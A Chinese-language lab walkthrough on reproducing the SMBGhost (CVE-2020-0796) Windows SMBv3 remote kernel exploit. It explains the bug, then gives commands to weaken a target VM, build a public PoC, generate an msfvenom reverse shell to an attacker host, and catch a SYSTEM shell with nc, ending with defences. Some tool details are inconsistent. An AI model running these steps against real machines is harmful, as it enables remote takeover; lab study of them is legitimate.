1. 项目概述:直面“永恒之黑”的实战价值
如果你是一名系统管理员、安全研究员,或者只是对Windows安全机制充满好奇的技术爱好者,那么“永恒之黑”(CVE-2020-0796)这个名字你一定不陌生。这个在2020年3月被微软紧急修补的SMBv3协议高危漏洞,因其无需用户交互、无需身份验证即可实现远程代码执行的特性,一度被安全界视为“核弹级”威胁。尽管补丁已发布多年,但复现和研究这个漏洞,其价值远不止于“攻击”本身。通过亲手搭建环境、触发漏洞、理解其背后的原理,你能深刻体会到现代操作系统内核中一个微小的逻辑缺陷如何被放大成一条完整的攻击链,这对于构建纵深防御的安全思维至关重要。这篇实战指南,我将带你从零开始,完整走通从漏洞环境检测到最终利用的全过程,并附上我踩过的所有坑和独家避坑技巧。我们的目标不是攻击,而是通过可控的实验室环境,真正理解漏洞的机理,从而在未来能更有效地进行漏洞预警、安全加固和应急响应。
2. 漏洞原理深度解析:SMBv3压缩机制中的“崩坏点”
在动手之前,我们必须先搞清楚我们到底在利用什么。盲目操作只会让你在无数错误中迷失方向。永恒之黑漏洞的核心,在于Windows 10 1903及1909版本中SMB 3.1.1协议对数据压缩功能的实现存在缺陷。
2.1 SMB压缩与解压的“信任危机”
SMBv3为了提高大文件传输效率,引入了压缩功能。当客户端请求压缩一个数据包时,它会在数据包头部包含一个
OriginalCompressedSegmentSize
字段,用于告知服务器端解压后的数据预期大小。服务器端在分配用于存放解压后数据的缓冲区时,会依据这个客户端传来的值。这里就出现了第一个“信任”问题:服务器完全信任了客户端提供的这个大小值,没有进行充分的边界校验。
漏洞的触发点在于,攻击者可以精心构造一个恶意数据包,将其
OriginalCompressedSegmentSize
字段设置为一个极大的值(例如0xFFFFFFFF),但同时实际压缩后的数据体(
Offset
+
CompressedData
)却非常小。当服务器尝试解压时,它会按照客户端声明的大尺寸去分配内核缓冲区(
SrvNetAllocateBuffer
函数),但实际解压操作(
SmbCompressionDecompress
函数)处理的数据量却很小。
2.2 关键函数
Srv2DecompressData
的逻辑缺陷
问题出在
Srv2DecompressData
这个关键的解压函数里。它的简化逻辑如下:
-
根据客户端数据包中的
OriginalCompressedSegmentSize分配接收缓冲区。 -
调用
SmbCompressionDecompress进行解压。 - 如果解压成功,将解压后的数据复制到新分配的缓冲区。
- 用新缓冲区替换原始的接收缓冲区,并释放原始缓冲区。
漏洞利用的关键在于第2步:
SmbCompressionDecompress
函数在解压时,会依据压缩数据头中的另一个字段
CompressedChunkSize
来计算解压后数据在缓冲区中的偏移量。攻击者可以构造数据,使得计算出的目标偏移量
Offset
超出实际分配的缓冲区范围。然而,由于代码逻辑缺陷,系统并未严格校验这个
Offset
是否在缓冲区长度之内。
2.3 从越界写入到任意代码执行
当
Offset
指向了缓冲区之外的内核池内存时,后续的数据复制操作就会导致“越界写入”。攻击者可以精确控制写入的数据内容。通过精心堆喷(Heap Spray)在目标内核池区域布局特定结构的数据,攻击者就能用可控数据覆盖掉一些关键的内核对象,例如
SrvNet
缓冲区本身的管理结构。一旦这些结构被篡改,就可能实现“任意地址读写”原语,最终将shellcode写入内核并执行,完成从远程到内核权限的飞跃。
注意: 以上原理分析高度简化,实际涉及复杂的内核池风水、对象布局和利用链构造。对于实战复现,我们不必完全深究每一步汇编指令,但必须理解“客户端可控大小导致过分配,结合解压偏移未校验导致越界写”这一核心链条。
3. 实验环境搭建与关键配置
一个稳定、隔离的实验环境是成功复现的前提。盲目在物理机或生产环境尝试是极其危险和不负责任的行为。
3.1 靶机环境准备
操作系统选择: 必须选择存在漏洞的Windows 10版本。经确认,受影响版本为:
- Windows 10 Version 1903 (19H1)
- Windows 10 Version 1909 (19H2)
- 对应的服务器版本 Windows Server, Version 1903/1909
强烈建议使用虚拟机: 推荐使用VMware Workstation或VirtualBox。我使用的是VMware Workstation 16,网络模式设置为“NAT”或“仅主机模式”,确保与宿主机隔离。
系统安装与漏洞状态确认:
- 从官方渠道下载Windows 10 1909 (Build 18363.418) 的ISO镜像。这个特定构建版本是漏洞利用最稳定的版本之一。
- 安装系统时,创建一个本地账户即可,无需连接微软账户。
- 安装完成后,第一件事就是关闭Windows自动更新! 进入“设置”->“更新和安全”->“Windows更新”->“高级选项”,将暂停更新日期拉到最远。同时,进入“服务”(services.msc),找到“Windows Update”服务,将其停止并禁用。
-
启用SMBv3支持并关闭防火墙(仅实验环境):
# 以管理员身份打开PowerShell # 检查SMB版本,确认支持3.1.1 Get-SmbConnection | Select-Object ServerName, Dialect # 临时关闭防火墙(实验后请恢复) Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False # 确保Server服务正在运行(SMB依赖此服务) Get-Service -Name LanmanServer - 最后,也是最重要的一步, 为虚拟机创建快照 。命名为“Clean_1909_Vulnerable”。这样无论实验过程中系统如何崩溃或蓝屏,都能一键恢复。
3.2 攻击机环境准备
攻击机通常使用Kali Linux或任何你熟悉的Linux发行版。我习惯用Kali虚拟机,与靶机置于同一虚拟网络内。
-
安装必要的工具:
# 更新源 sudo apt update && sudo apt upgrade -y # 安装漏洞利用相关的编译环境和Python库 sudo apt install -y python3 python3-pip git mingw-w64 pip3 install impacket -
获取漏洞利用代码: 永恒之黑的公开利用代码(POC/EXP)在Github上有多个版本。经过多次测试,
chompie1337的版本(SMBGhost)相对稳定。我们将克隆并编译它。git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git cd SMBGhost_RCE_PoC # 编译生成用于覆盖的恶意数据文件 sudo gcc -o exploit exploit.c
实操心得: 靶机系统的“纯净度”至关重要。不要安装任何第三方安全软件或进行非必要的系统更新,一个补丁就可能导致整个实验失败。虚拟机快照是你的“后悔药”,务必在关键步骤前保存。
4. 漏洞检测与信息收集
在尝试利用之前,我们必须先确认目标确实存在漏洞,并收集必要信息。
4.1 使用Nmap进行远程检测
Nmap的NSE脚本库中有专门检测CVE-2020-0796的脚本。这是最安全、最非侵入式的检测方式。
在攻击机(Kali)上执行:
# 假设靶机IP为 192.168.1.100
nmap -p445 --script smb-vuln-cve-2020-0796 192.168.1.100
如果输出中包含
VULNERABLE
字样,则确认漏洞存在。同时,该脚本通常不会导致系统崩溃。
4.2 使用MSF进行辅助扫描
Metasploit也提供了辅助扫描模块,可以更详细地获取信息。
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
# 注意:模块名可能是smb_ms17_010,但其中集成了对CVE-2020-0796的检测逻辑,或者有专门的模块,请用search命令查找。
set RHOSTS 192.168.1.100
run
4.3 手动SMB版本协商探测
对于技术钻研,我们可以用Python手动发送SMB协商请求,观察返回的
Dialect
版本。
#!/usr/bin/python3
from impacket.smbconnection import SMBConnection
try:
conn = SMBConnection('*SMBSERVER', '192.168.1.100', sess_port=445)
# 无需认证,仅建立连接协商协议
dialect = conn.getDialect()
print(f"[+] Target SMB Dialect: {dialect}")
if dialect in [0x0311]: # 0x0311 代表 SMB 3.1.1
print("[!] Potential CVE-2020-0796 vulnerability (SMBv3.1.1 detected).")
conn.close()
except Exception as e:
print(f"[-] Connection failed: {e}")
如果显示
0x0311
,则表明目标使用了存在漏洞的SMB 3.1.1协议。
信息收集要点:
- 目标IP和端口: 通常是445。
-
操作系统版本:
通过Nmap的
-O参数或MSF的smb_version模块可以更精确识别。 - 网络连通性: 确保攻击机和靶机之间445端口可达,没有中间防火墙拦截。
5. 漏洞利用过程全解析
这是最核心的部分,我们将一步步触发漏洞并获取系统权限。请注意,以下操作具有高度破坏性,务必在隔离的虚拟机中进行。
5.1 利用代码结构与编译
我们以
SMBGhost_RCE_PoC
为例。解压后目录通常包含:
-
exploit.c:主利用代码,用于生成恶意SMB数据包。 -
kernel_shellcode.asm:内核模式的shellcode汇编代码。 -
shellcode.c:用户模式的辅助shellcode(用于提权后的回连等)。
编译步骤:
cd SMBGhost_RCE_PoC
# 编译主利用程序
x86_64-w64-mingw32-gcc exploit.c -o exploit.exe -lws2_32
# 编译内核shellcode (可能需要nasm)
nasm -f win64 kernel_shellcode.asm -o kernel_shellcode.bin
# 编译用户态shellcode (例如生成反向shell)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o user_shellcode.bin
注意: 不同利用代码的编译方式可能差异很大,务必阅读项目中的README或Makefile。
msfvenom生成的shellcode需要集成到利用代码中,通常是通过-s参数指定或修改源码中的shellcode数组。
5.2 内核池风水与稳定利用
永恒之黑的利用难点在于稳定性。由于依赖内核池(Kernel Pool)的精确布局,直接攻击可能因内存状态随机而导致蓝屏(BSOD)。成熟的利用代码会包含“堆喷”(Heap Spray)和“堆塑形”(Heap Feng Shui)技术。
-
堆喷:
在触发漏洞前,先通过大量合法的SMB连接和请求,在目标系统的内核池中分配大量特定大小的
SrvNet缓冲区对象,让内存布局变得“可预测”。利用代码中通常会有一个spray_sockets()函数来完成这个工作。 -
触发越界写:
堆喷完成后,发送精心构造的恶意压缩数据包。这个数据包中的
Offset会指向刚刚通过堆喷布局好的区域,覆盖某个缓冲区头部的NetRawBuffer指针。 -
实现任意读写:
覆盖了缓冲区指针后,后续的SMB读写操作就可以指向攻击者控制的地址,从而读取内核敏感数据(如
ntoskrnl.exe的基址)或向内核任意地址写入数据(如写入shellcode)。 - 执行Shellcode: 最终,利用任意写原语将内核shellcode写入一个可执行的内存区域(如修改某个函数指针),并触发其执行。
执行利用命令示例:
# 假设编译好的程序是exploit.exe,在Windows攻击机上运行(或使用wine在Linux上运行)
# 通常语法是:
./exploit.exe -ip 192.168.1.100 -port 445 -sc kernel_shellcode.bin
# 或者使用Python版本的EXP
python3 exploit.py --target 192.168.1.100 --port 445 --payload user_shellcode.bin
5.3 会话获取与权限维持
如果利用成功,内核shellcode通常会执行以下操作之一:
-
启动系统进程:
最常见的是在内核权限下启动
cmd.exe或powershell.exe。你可能会在攻击机的监听端口上收到一个具有SYSTEM权限的shell。 - 创建新用户并加入管理员组: 这是另一种隐蔽的权限维持方式。shellcode会直接调用内核API创建用户。
-
注入到高权限进程:
将用户态shellcode注入到类似
lsass.exe或svchost.exe的系统进程中。
在攻击机上,你需要提前监听相应端口:
# 监听4444端口等待反向shell
nc -lvnp 4444
成功后,你将获得一个
SYSTEM
权限的命令行。
6. 实战避坑指南与疑难排错
这是我踩过无数坑后总结的精华,能帮你节省大量时间。
6.1 常见失败场景与解决方案
| 问题现象 | 可能原因 | 排查与解决思路 |
|---|---|---|
| 靶机直接蓝屏(BSOD) |
1. 堆喷不稳定,内存布局不符预期。
2. Shellcode编写有误,导致内核异常。 3. 系统版本或补丁状态不匹配。 |
1. 确保靶机是纯净的1903/1909版本,无任何额外补丁。
2. 尝试使用不同的利用代码或调整堆喷参数(如连接数、缓冲区大小)。 3. 换用更稳定、仅导致系统崩溃的POC先验证漏洞触发是否成功。 |
| 利用程序执行后无任何反应 |
1. 网络不通或防火墙拦截。
2. 靶机SMB服务未运行或已禁用。 3. 利用代码与目标系统架构不匹配(x86 vs x64)。 |
1. 用
ping
和
nmap -p445
确认网络连通性和端口开放状态。
2. 在靶机上运行
Get-Service LanmanServer
确认服务状态。
3. 检查编译的shellcode架构是否与靶机系统一致(现代Win10通常是64位)。 |
| 能触发漏洞但无法获取Shell |
1. 反向Shell的IP/端口设置错误。
2. 出网流量被靶机防火墙拦截。 3. 用户态shellcode注入失败。 |
1. 确认攻击机IP和监听端口正确,且靶机能访问该IP(同网段)。
2. 暂时完全关闭靶机防火墙进行测试。 3. 尝试使用
bind shell
payload(风险较高,可能被安全软件拦截)或换用其他执行方式,如添加用户。
|
| 返回的Shell权限不是SYSTEM | 利用链不完整,可能只实现了部分任意读,未完成提权。 |
尝试使用更成熟的利用项目,如整合了多种技术的
CVE-2020-0796
综合利用工具。
|
6.2 提升成功率的独家技巧
- “黄金镜像”准备: 不要使用从现有系统升级而来的1909,务必使用从ISO全新安装的系统。安装后,立即创建快照。这是最稳定的基础。
-
精确版本号:
使用
winver命令确认内部版本号。18363.418是公认最易利用的版本之一。后续的小更新(如18363.535)可能增加了缓解措施。 - 关闭内存隔离: 在靶机的“Windows安全中心”->“设备安全性”->“核心隔离”中,关闭“内存完整性”功能。这个基于虚拟化的安全(VBS)特性会干扰内核利用。
- 调整虚拟机资源: 给靶机分配不少于2GB内存。内存过小可能导致堆喷时内存不足,行为异常。
- 耐心等待堆喷: 堆喷过程可能需要几十秒甚至更长时间,期间不要中断程序。观察利用程序的输出信息,它通常会提示“Spraying...”或“Allocating buffers...”。
- 使用调试符号: 如果你想深入研究崩溃原因,可以为靶机安装Windows调试符号,并使用WinDbg进行内核调试。这能让你清晰地看到崩溃时的调用栈和寄存器状态。
6.3 从利用中学到的防御启示
复现漏洞的最终目的是为了防御。通过这个实验,我们可以直观地理解以下防御措施的重要性:
-
及时更新:
这是最根本的。微软的补丁修复了
Srv2DecompressData函数中的校验逻辑。 -
禁用SMBv3压缩:
对于不需要此功能的客户端和服务器,可以通过组策略或PowerShell命令
Set-SmbServerConfiguration -Compress $false和Set-SmbClientConfiguration -Compress $false来禁用。 - 网络边界控制: 在防火墙严格限制445端口的入站访问,仅对必要服务器开放。
- 启用攻击面减少规则: 如Windows Defender Exploit Guard中的规则,可以阻断类似的内存破坏攻击行为。
- 纵深防御: 即使单一漏洞被利用,通过应用程序控制、受限的管理员权限、网络分段等措施,也能有效阻断攻击链的延伸。
整个复现过程就像一次精密的外科手术,每一步都环环相扣。失败是常态,每一次蓝屏都让你对内核内存管理多一分理解。当你最终看到那个
SYSTEM
权限的shell弹出时,所获得的不仅是成功的快感,更是对“漏洞”二字沉甸甸的认知。记住,在实验结束后,请务必恢复虚拟机快照,或彻底销毁实验环境,让这些危险的知识只停留在你的可控实验室中。
1788

被折叠的 条评论
为什么被折叠?



